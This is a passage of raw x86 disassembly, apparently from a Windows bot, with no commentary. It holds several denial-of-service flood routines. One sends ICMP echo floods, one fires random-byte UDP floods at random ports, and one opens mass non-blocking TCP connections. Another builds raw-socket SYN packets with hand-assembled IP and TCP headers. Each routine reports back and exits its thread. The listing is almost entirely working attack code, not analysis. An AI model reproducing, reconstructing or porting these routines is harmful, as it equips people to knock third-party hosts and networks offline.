		push	[ebp+var_4]
		call	dword_4CB6CC	; closesocket
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		imul	eax, 3Ch
		mov	ecx, eax
		shr	eax, 0Ah
		div	[ebp+var_30]
		shr	ecx, 14h
		push	ecx
		push	eax
		lea	eax, [ebp+var_1B8]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_138]
		push	eax
		lea	eax, [ebp+var_3BC]
		push	offset unk_436200
		push	eax
		call	sub_41B886
		add	esp, 1Ch
		cmp	[ebp+var_24], edi
		jnz	short loc_413267
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_409A72
		add	esp, 14h


loc_413267:				; CODE XREF: sub_412E9D+3A8j
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_4151AC
		push	[ebp+var_38]
		call	sub_40B412
		pop	ecx
		pop	ecx
		push	edi
		call	dword_4270CC	; ExitThread
sub_412E9D	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413284	proc near		; DATA XREF: sub_401ACD+550Fo

var_10320	= byte ptr -10320h
var_344		= byte ptr -344h
var_144		= dword	ptr -144h
var_140		= byte ptr -140h
var_C0		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= byte ptr -20h
var_18		= dword	ptr -18h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 10320h
		call	sub_41BB20
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	49h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_144]
		rep movsd
		push	1
		pop	edi
		mov	[eax+120h], edi
		call	dword_4CB5BC	; IcmpCreateFile
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+var_C0]
		push	eax
		call	dword_4CB674	; inet_addr
		mov	esi, eax
		xor	ebx, ebx
		xor	eax, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_4132DF
		lea	eax, [ebp+var_C0]
		push	eax
		call	dword_4CB6B8	; gethostbyname
		cmp	eax, ebx
		jz	short loc_4132E5


loc_4132DF:				; CODE XREF: sub_413284+48j
		cmp	[ebp+arg_0], 0FFFFFFFFh
		jnz	short loc_413342


loc_4132E5:				; CODE XREF: sub_413284+59j
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+var_344]
		push	offset unk_43633C
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_28], ebx
		jnz	short loc_413325
		push	ebx
		lea	eax, [ebp+var_344]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_140]
		push	eax
		push	[ebp+var_144]
		call	sub_409A72
		add	esp, 14h


loc_413325:				; CODE XREF: sub_413284+7Fj
		lea	eax, [ebp+var_344]
		push	eax
		call	sub_4151AC
		push	[ebp+var_30]
		call	sub_40B412
		pop	ecx
		pop	ecx
		push	edi
		call	dword_4270CC	; ExitThread


loc_413342:				; CODE XREF: sub_413284+5Fj
		cmp	eax, ebx
		jz	short loc_413352
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_4], eax
		jmp	short loc_413355
; ---------------------------------------------------------------------------


loc_413352:				; CODE XREF: sub_413284+C0j
		mov	[ebp+var_4], esi


loc_413355:				; CODE XREF: sub_413284+CCj
		push	1Ch
		lea	eax, [ebp+var_20]
		push	ebx
		push	eax
		call	sub_41B590
		or	[ebp+var_18], 0FFFFFFFFh
		mov	eax, 0FFDCh
		add	esp, 0Ch
		cmp	[ebp+var_3C], eax
		jle	short loc_413375
		mov	[ebp+var_3C], eax


loc_413375:				; CODE XREF: sub_413284+ECj
		cmp	[ebp+var_38], edi
		jge	short loc_41337D
		mov	[ebp+var_38], edi


loc_41337D:				; CODE XREF: sub_413284+F4j
		xor	esi, esi
		cmp	[ebp+var_40], ebx
		jle	short loc_4133AA


loc_413384:				; CODE XREF: sub_413284+124j
		push	[ebp+var_38]
		lea	eax, [ebp+var_20]
		push	1Ch
		push	eax
		push	ebx
		lea	eax, [ebp+var_10320]
		push	[ebp+var_3C]
		push	eax
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	dword_4CB54C	; IcmpSendEcho
		inc	esi
		cmp	esi, [ebp+var_40]
		jl	short loc_413384


loc_4133AA:				; CODE XREF: sub_413284+FEj
		push	[ebp+arg_0]
		call	dword_4CB6EC	; IcmpCloseHandle
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+var_344]
		push	offset unk_436310
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_28], ebx
		jnz	short loc_4133F3
		push	ebx
		lea	eax, [ebp+var_344]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_140]
		push	eax
		push	[ebp+var_144]
		call	sub_409A72
		add	esp, 14h


loc_4133F3:				; CODE XREF: sub_413284+14Dj
		lea	eax, [ebp+var_344]
		push	eax
		call	sub_4151AC
		push	[ebp+var_30]
		call	sub_40B412
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_4270CC	; ExitThread
sub_413284	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413410	proc near		; DATA XREF: sub_401ACD+575Bo

var_10312	= byte ptr -10312h
var_10310	= byte ptr -10310h
var_334		= byte ptr -334h
var_134		= dword	ptr -134h
var_130		= byte ptr -130h
var_B0		= byte ptr -0B0h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 10310h
		call	sub_41BB20
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	49h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_134]
		rep movsd
		push	1
		pop	esi
		mov	[eax+120h], esi
		call	dword_4270A8	; GetTickCount
		push	eax
		call	sub_41B8D8
		pop	ecx
		push	11h
		push	2
		push	2
		call	dword_4CB6B4	; socket
		mov	ebx, eax
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_B0]
		mov	[ebp+var_10], 2
		push	eax
		call	dword_4CB674	; inet_addr
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jnz	short loc_4134F5
		lea	eax, [ebp+var_B0]
		push	eax
		call	dword_4CB6B8	; gethostbyname
		cmp	eax, edi
		jnz	short loc_4134EE
		lea	eax, [ebp+var_B0]
		push	eax
		lea	eax, [ebp+var_334]
		push	offset unk_436390
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_18], edi
		jnz	short loc_4134D1
		push	edi
		lea	eax, [ebp+var_334]
		push	[ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_130]
		push	eax
		push	[ebp+var_134]
		call	sub_409A72
		add	esp, 14h


loc_4134D1:				; CODE XREF: sub_413410+9Fj
		lea	eax, [ebp+var_334]
		push	eax
		call	sub_4151AC
		push	[ebp+var_20]
		call	sub_40B412
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4270CC	; ExitThread


loc_4134EE:				; CODE XREF: sub_413410+7Fj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		jmp	short loc_4134F8
; ---------------------------------------------------------------------------


loc_4134F5:				; CODE XREF: sub_413410+6Ej
		lea	eax, [ebp+arg_0]


loc_4134F8:				; CODE XREF: sub_413410+E3j
		mov	eax, [eax]
		cmp	[ebp+var_24], edi
		mov	[ebp+var_C], eax
		jnz	short loc_413513
		call	sub_41B8E2
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		jmp	short loc_413516
; ---------------------------------------------------------------------------


loc_413513:				; CODE XREF: sub_413410+F0j
		push	[ebp+var_24]


loc_413516:				; CODE XREF: sub_413410+101j
		call	dword_4CB634	; htons
		cmp	[ebp+var_24], esi
		mov	[ebp+var_E], ax
		jge	short loc_413528
		mov	[ebp+var_24], esi


loc_413528:				; CODE XREF: sub_413410+113j
		mov	eax, 0FFFFh
		cmp	[ebp+var_24], eax
		jle	short loc_413535
		mov	[ebp+var_24], eax


loc_413535:				; CODE XREF: sub_413410+120j
		mov	eax, [ebp+var_30]
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		cmp	[ebp+var_28], edi
		mov	[ebp+var_30], eax
		jnz	short loc_413549
		mov	[ebp+var_28], esi


loc_413549:				; CODE XREF: sub_413410+134j
		xor	esi, esi
		cmp	[ebp+var_2C], edi
		jle	short loc_41356A


loc_413550:				; CODE XREF: sub_413410+158j
		call	sub_41B8E2
		cdq
		mov	ecx, 0FFh
		idiv	ecx
		inc	esi
		cmp	esi, [ebp+var_2C]
		mov	[ebp+esi-10311h], dl
		jl	short loc_413550


loc_41356A:				; CODE XREF: sub_413410+13Ej
					; sub_413410+19Cj ...
		mov	eax, [ebp+var_30]
		dec	[ebp+var_30]
		test	eax, eax
		jle	short loc_4135C9
		push	0Bh
		pop	esi


loc_413577:				; CODE XREF: sub_413410+197j
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	sub_41B8E2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		mov	eax, [ebp+var_2C]
		sub	eax, edx
		push	eax
		lea	eax, [ebp+var_10310]
		push	eax
		push	ebx
		call	dword_4CB698	; sendto
		push	[ebp+var_28]
		call	dword_427078	; Sleep
		dec	esi
		jnz	short loc_413577
		cmp	[ebp+var_24], edi
		jnz	short loc_41356A
		call	sub_41B8E2
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		call	dword_4CB634	; htons
		mov	[ebp+var_E], ax
		jmp	short loc_41356A
; ---------------------------------------------------------------------------


loc_4135C9:				; CODE XREF: sub_413410+162j
		lea	eax, [ebp+var_B0]
		push	eax
		lea	eax, [ebp+var_334]
		push	offset unk_436364
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_18], edi
		jnz	short loc_413609
		push	edi
		lea	eax, [ebp+var_334]
		push	[ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_130]
		push	eax
		push	[ebp+var_134]
		call	sub_409A72
		add	esp, 14h


loc_413609:				; CODE XREF: sub_413410+1D7j
		lea	eax, [ebp+var_334]
		push	eax
		call	sub_4151AC
		push	[ebp+var_20]
		call	sub_40B412
		pop	ecx
		pop	ecx
		push	edi
		call	dword_4270CC	; ExitThread
sub_413410	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413626	proc near		; DATA XREF: sub_401ACD+4DECo

var_414		= byte ptr -414h
var_214		= dword	ptr -214h
var_210		= byte ptr -210h
var_190		= byte ptr -190h
var_110		= byte ptr -110h
var_90		= byte ptr -90h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 85h
		mov	esi, eax
		lea	edi, [ebp+var_214]
		rep movsd
		mov	dword ptr [eax+210h], 1
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_190]
		push	eax
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_413787
		add	esp, 0Ch
		push	eax
		lea	eax, [ebp+var_414]
		push	offset dword_4363B8
		push	eax
		call	sub_41B886
		xor	esi, esi
		add	esp, 0Ch
		cmp	[ebp+var_8], esi
		jnz	short loc_4136A6
		push	esi
		lea	eax, [ebp+var_414]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_90]
		push	eax
		push	[ebp+var_214]
		call	sub_409A72
		add	esp, 14h


loc_4136A6:				; CODE XREF: sub_413626+5Ej
		lea	eax, [ebp+var_414]
		push	eax
		call	sub_4151AC
		push	[ebp+var_10]
		call	sub_40B412
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4270CC	; ExitThread
		pop	edi
		pop	esi
sub_413626	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4136C5	proc near		; CODE XREF: sub_413787+27p

var_654		= byte ptr -654h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 654h
		push	10h
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_14], 2
		push	[ebp+arg_4]
		call	dword_4CB634	; htons
		mov	[ebp+var_12], ax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_8]
		test	eax, eax
		mov	[ebp+var_4], 1
		jle	short loc_413783
		push	ebx
		push	esi
		push	edi
		mov	[ebp+arg_4], eax
		mov	edi, 190h


loc_413710:				; CODE XREF: sub_4136C5+B9j
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_413718:				; CODE XREF: sub_4136C5+7Aj
		push	0
		push	1
		push	2
		call	dword_427220	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[esi], eax
		jz	short loc_41373B
		lea	ecx, [ebp+var_4]
		push	ecx
		push	8004667Eh
		push	eax
		call	dword_4271F8	; ioctlsocket


loc_41373B:				; CODE XREF: sub_4136C5+64j
		add	esi, 4
		dec	ebx
		jnz	short loc_413718
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_413749:				; CODE XREF: sub_4136C5+96j
		lea	eax, [ebp+var_14]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	dword_427214	; connect
		add	esi, 4
		dec	ebx
		jnz	short loc_413749
		push	64h
		call	dword_427078	; Sleep
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_41376D:				; CODE XREF: sub_4136C5+B4j
		push	dword ptr [esi]
		call	dword_42721C	; closesocket
		add	esi, 4
		dec	ebx
		jnz	short loc_41376D
		dec	[ebp+arg_4]
		jnz	short loc_413710
		pop	edi
		pop	esi
		pop	ebx


loc_413783:				; CODE XREF: sub_4136C5+3Ej
		xor	eax, eax
		leave
		retn
sub_4136C5	endp


; =============== S U B	R O U T	I N E =======================================



sub_413787	proc near		; CODE XREF: sub_413626+3Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_0]
		call	sub_40AAF9
		push	[esp+10h+arg_4]
		mov	edi, eax
		call	sub_41B779
		push	[esp+14h+arg_8]
		mov	ebx, eax
		call	sub_41B779
		mov	esi, eax
		push	esi
		push	ebx
		push	edi
		call	sub_4136C5
		add	esp, 18h
		test	eax, eax
		jnz	short loc_4137BD
		push	1
		pop	eax


loc_4137BD:				; CODE XREF: sub_413787+31j
		cdq
		mov	ecx, 3E8h
		pop	edi
		idiv	ecx
		cdq
		idiv	esi
		pop	esi
		pop	ebx
		retn
sub_413787	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4137CC	proc near		; DATA XREF: sub_401ACD+6449o

var_414		= byte ptr -414h
var_214		= dword	ptr -214h
var_210		= byte ptr -210h
var_190		= byte ptr -190h
var_110		= byte ptr -110h
var_90		= byte ptr -90h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 85h
		mov	esi, eax
		lea	edi, [ebp+var_214]
		rep movsd
		mov	dword ptr [eax+210h], 1
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_190]
		push	eax
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_413B1D
		add	esp, 0Ch
		push	eax
		lea	eax, [ebp+var_414]
		push	offset unk_4363E4
		push	eax
		call	sub_41B886
		xor	esi, esi
		add	esp, 0Ch
		cmp	[ebp+var_8], esi
		jnz	short loc_41384C
		push	esi
		lea	eax, [ebp+var_414]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_90]
		push	eax
		push	[ebp+var_214]
		call	sub_409A72
		add	esp, 14h


loc_41384C:				; CODE XREF: sub_4137CC+5Ej
		lea	eax, [ebp+var_414]
		push	eax
		call	sub_4151AC
		push	[ebp+var_10]
		call	sub_40B412
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4270CC	; ExitThread
		pop	edi
		pop	esi
sub_4137CC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41386B	proc near		; CODE XREF: sub_413B1D+3Cp

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= dword	ptr -58h
var_50		= word ptr -50h
var_4E		= word ptr -4Eh
var_4C		= dword	ptr -4Ch
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= word ptr -34h
var_32		= word ptr -32h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_27		= byte ptr -27h
var_26		= word ptr -26h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= byte ptr -20h
var_1E		= word ptr -1Eh
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_4CB5A4	; WSAStartup
		test	eax, eax
		jz	short loc_4138AB
		xor	eax, eax
		jmp	loc_413B19
; ---------------------------------------------------------------------------


loc_4138AB:				; CODE XREF: sub_41386B+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_4CB6D8	; WSASocketA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_C], eax
		jz	loc_413B11
		push	esi
		lea	ecx, [ebp+var_38]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_38], edi
		call	dword_4CB614	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jz	loc_413B07
		push	10h
		lea	eax, [ebp+var_50]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_50], 2
		push	[ebp+arg_8]
		call	dword_4CB634	; htons
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_4E], ax
		mov	[ebp+var_4C], esi
		mov	[ebp+var_20], 45h
		call	dword_4CB634	; htons
		push	[ebp+arg_8]
		mov	[ebp+var_1E], ax
		mov	[ebp+var_1C], di
		mov	[ebp+var_1A], bx
		mov	[ebp+var_18], 80h
		mov	[ebp+var_17], 6
		mov	[ebp+var_16], bx
		mov	[ebp+var_10], esi
		call	dword_4CB634	; htons
		push	4000h
		mov	[ebp+var_32], ax
		mov	[ebp+var_2C], ebx
		mov	[ebp+var_28], 50h
		mov	[ebp+var_27], 2
		call	dword_4CB634	; htons
		mov	[ebp+var_26], ax
		lea	eax, [ebp+var_40]
		push	eax
		mov	[ebp+var_22], bx
		mov	[ebp+arg_8], ebx
		call	dword_427134	; QueryPerformanceFrequency
		lea	eax, [ebp+var_8]
		push	eax
		call	dword_427130	; QueryPerformanceCounter
		push	[ebp+var_3C]
		mov	eax, [ebp+arg_C]
		cdq
		push	[ebp+var_40]
		push	edx
		push	eax
		call	sub_41D280
		add	eax, [ebp+var_8]
		mov	esi, edx
		adc	esi, [ebp+var_4]
		mov	[ebp+var_58], eax


loc_413996:				; CODE XREF: sub_41386B+25Dj
					; sub_41386B+26Bj
		mov	[ebp+var_24], bx
		call	sub_41B8E2
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_4CB634	; htons
		mov	[ebp+var_34], ax
		call	sub_41B8E2
		mov	edi, eax
		shl	edi, 10h
		call	sub_41B8E2
		or	edi, eax
		push	edi
		call	dword_4CB634	; htons
		movzx	eax, ax
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_4CB630	; htonl
		push	14h
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_10]
		pop	edi
		push	edi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_4CB634	; htons
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_14]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40AC68
		mov	[ebp+var_24], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41C310
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40AC68
		mov	[ebp+var_16], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		add	esp, 14h
		lea	eax, [ebp+var_50]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_C]
		call	dword_4CB698	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	short loc_413ADB
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_8]
		push	eax
		call	dword_427130	; QueryPerformanceCounter
		mov	eax, [ebp+var_4]
		cmp	eax, esi
		jg	short loc_413B04
		jl	loc_413996
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_58]
		jnb	short loc_413B04
		jmp	loc_413996
; ---------------------------------------------------------------------------


loc_413ADB:				; CODE XREF: sub_41386B+247j
		call	dword_4CB5C8	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset unk_43640C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_4151AC
		add	esp, 10h
		jmp	short loc_413B07
; ---------------------------------------------------------------------------


loc_413B04:				; CODE XREF: sub_41386B+25Bj
					; sub_41386B+269j
		mov	ebx, [ebp+arg_8]


loc_413B07:				; CODE XREF: sub_41386B+78j
					; sub_41386B+297j
		push	[ebp+var_C]
		call	dword_4CB6CC	; closesocket
		pop	esi


loc_413B11:				; CODE XREF: sub_41386B+5Bj
		call	dword_4CB58C	; WSACleanup
		mov	eax, ebx


loc_413B19:				; CODE XREF: sub_41386B+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_41386B	endp


; =============== S U B	R O U T	I N E =======================================



sub_413B1D	proc near		; CODE XREF: sub_4137CC+3Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_0]
		call	sub_40AAF9
		push	[esp+10h+arg_4]
		mov	esi, eax
		call	sub_41B779
		push	[esp+14h+arg_8]
		mov	ebx, eax
		call	sub_41B779
		mov	edi, eax
		call	sub_41B8E2
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_41386B
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_413B68
		push	1
		pop	eax


loc_413B68:				; CODE XREF: sub_413B1D+46j
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_413B1D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413B77	proc near		; DATA XREF: sub_401ACD+6E44o

var_394		= byte ptr -394h
var_194		= dword	ptr -194h
var_190		= byte ptr -190h
var_110		= byte ptr -110h
var_90		= byte ptr -90h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 394h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	65h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_194]
		rep movsd
		mov	dword ptr [eax+190h], 1
		lea	eax, [ebp+var_110]
		push	eax
		call	sub_41B779
		pop	ecx
		push	eax
		lea	eax, [ebp+var_190]
		push	eax
		call	dword_4CB674	; inet_addr
		push	eax
		call	sub_413C1A
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_394]
		push	offset dword_43642C
		push	eax
		call	sub_41B886
		xor	esi, esi
		add	esp, 0Ch
		cmp	[ebp+var_8], esi
		jnz	short loc_413BFB
		push	esi
		lea	eax, [ebp+var_394]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_90]
		push	eax
		push	[ebp+var_194]
		call	sub_409A72
		add	esp, 14h


loc_413BFB:				; CODE XREF: sub_413B77+62j
		lea	eax, [ebp+var_394]
		push	eax
		call	sub_4151AC
		push	[ebp+var_10]
		call	sub_40B412
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4270CC	; ExitThread
		pop	edi
		pop	esi
sub_413B77	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413C1A	proc near		; CODE XREF: sub_413B77+41p

var_98		= word ptr -98h
var_96		= word ptr -96h
var_94		= dword	ptr -94h
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_23		= byte ptr -23h
var_22		= word ptr -22h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1C		= byte ptr -1Ch
var_1B		= byte ptr -1Bh
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	ecx
		and	[ebp+var_88], 0
		push	4
		and	[ebp+var_58], 0
		pop	esi
		mov	ebx, 0FFh
		push	6
		xor	eax, eax
		pop	edx
		lea	edi, [ebp+var_54]
		mov	[ebp+var_84], ecx
		mov	[ebp+var_80], 2
		mov	[ebp+var_7C], esi
		mov	[ebp+var_78], edx
		mov	[ebp+var_74], 8
		mov	[ebp+var_70], 0Ch
		mov	[ebp+var_6C], 11h
		mov	[ebp+var_68], 16h
		mov	[ebp+var_64], 29h
		mov	[ebp+var_60], 3Ah
		mov	[ebp+var_5C], ebx
		mov	[ebp+var_50], eax
		stosd
		lea	edi, [ebp+var_2C]
		mov	[ebp+var_4C], eax
		mov	[ebp+var_48], eax
		mov	[ebp+var_44], 2000h
		mov	[ebp+var_40], esi
		mov	[ebp+var_3C], edx
		mov	[ebp+var_38], 3FFFh
		mov	[ebp+var_34], ecx
		mov	[ebp+var_30], eax
		mov	[ebp+var_28], ecx
		stosd
		mov	edi, 100h
		push	edi
		call	sub_41CFC5
		pop	ecx
		mov	[ebp+var_4], eax
		push	edi
		push	eax
		call	dword_4CB648	; gethostname
		push	[ebp+var_4]
